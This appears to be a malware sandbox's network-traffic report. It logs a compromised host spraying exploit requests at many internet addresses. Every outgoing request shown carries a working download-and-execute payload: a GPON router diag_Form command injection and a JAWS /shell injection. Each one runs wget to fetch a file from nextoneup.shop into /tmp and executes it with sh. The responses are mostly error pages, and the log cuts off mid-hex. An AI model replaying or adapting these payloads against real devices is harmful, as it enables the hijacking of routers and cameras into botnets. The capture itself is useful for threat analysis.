XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1390	192.168.2.23	57182	79.204.113.205	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:48.493041992 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1391	192.168.2.23	51974	5.220.195.240	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:48.493084908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1392	192.168.2.23	60204	118.230.61.202	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:48.493165970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1393	192.168.2.23	60302	92.205.238.74	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:49.977962971 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:51.620644093 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1394	192.168.2.23	33452	103.115.40.231	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:49.980664968 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1395	192.168.2.23	34740	154.31.252.83	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:49.989180088 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:50.319082022 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:50 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1396	192.168.2.23	58896	86.121.201.206	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.011564016 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:50.364466906 CEST	548	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:50 GMT Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4 Content-Length: 295 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 31 2e 31 74 20 50 48 50 2f 38 2e 32 2e 34 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4 Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1397	192.168.2.23	5463	160.109.68.77	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.516089916 CEST	42	IN	Data Raw: 42 49 47 2d 49 50 3a 20 5b 30 78 32 62 37 65 62 36 33 3a 32 34 36 38 5d 20 4e 6f 20 6c 6f 63 61 6c 20 6c 69 73 74 65 6e 65 72 Data Ascii: BIG-IP: [0x2b7eb63:2468] No local listener

Session ID	Source IP	Source Port	Destination IP	Destination Port
1398	192.168.2.23	41282	175.101.119.35	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.732249022 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:51.153466940 CEST	413	IN	HTTP/1.1 301 Moved Permanently X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Strict-Transport-Security: max-age=0 location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Date: Sun, 14 Apr 2024 02:00:50 GMT Connection: keep-alive Keep-Alive: timeout=5 Transfer-Encoding: chunked Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1399	192.168.2.23	60876	94.46.169.214	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:51.077485085 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1400	192.168.2.23	52312	195.9.103.182	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:51.097563982 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:51.463352919 CEST	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Sun, 14 Apr 2024 01:53:09 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1401	192.168.2.23	38776	162.241.228.82	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:51.181618929 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:51.383897066 CEST	616	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 14 Apr 2024 02:00:51 GMT Server: Apache Location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 296 Keep-Alive: timeout=5, max=75 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 38 30 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1402	192.168.2.23	33644	24.164.164.195	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:51.220016956 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:51.458928108 CEST	320	IN	HTTP/1.1 403 Forbidden Server: nginx/1.16.1 Date: Sun, 14 Apr 2024 02:00:51 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1403	192.168.2.23	40070	18.176.234.70	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:51.253025055 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:51.525410891 CEST	468	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 02:00:51 GMT Server: Apache/2.4.58 () OpenSSL/1.0.2k-fips mod_wsgi/4.9.4 Python/3.7 Content-Length: 199 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1404	192.168.2.23	60012	94.179.43.92	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:51.513026953 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1405	192.168.2.23	48608	202.18.47.240	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:51.513087988 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1406	192.168.2.23	49572	148.159.96.234	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:51.513164043 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1407	192.168.2.23	34424	23.75.68.220	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:51.562299013 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:51.741522074 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:00:51 GMT Date: Sun, 14 Apr 2024 02:00:51 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 65 34 65 34 33 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 35 31 26 23 34 36 3b 31 35 35 30 39 36 39 31 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 65 34 65 34 33 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 35 31 26 23 34 36 3b 31 35 35 30 39 36 39 31 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.e4e4317.1713060051.15509691<P>https://errors.edgesuite.net/9.e4e4317.1713060051.15509691</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1408	192.168.2.23	53172	154.36.169.16	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:51.564615965 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:51.747267008 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:51 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1409	192.168.2.23	49548	142.251.170.102	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:51.746011019 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:52.143357992 CEST	1289	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1566 Date: Sun, 14 Apr 2024 02:00:52 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 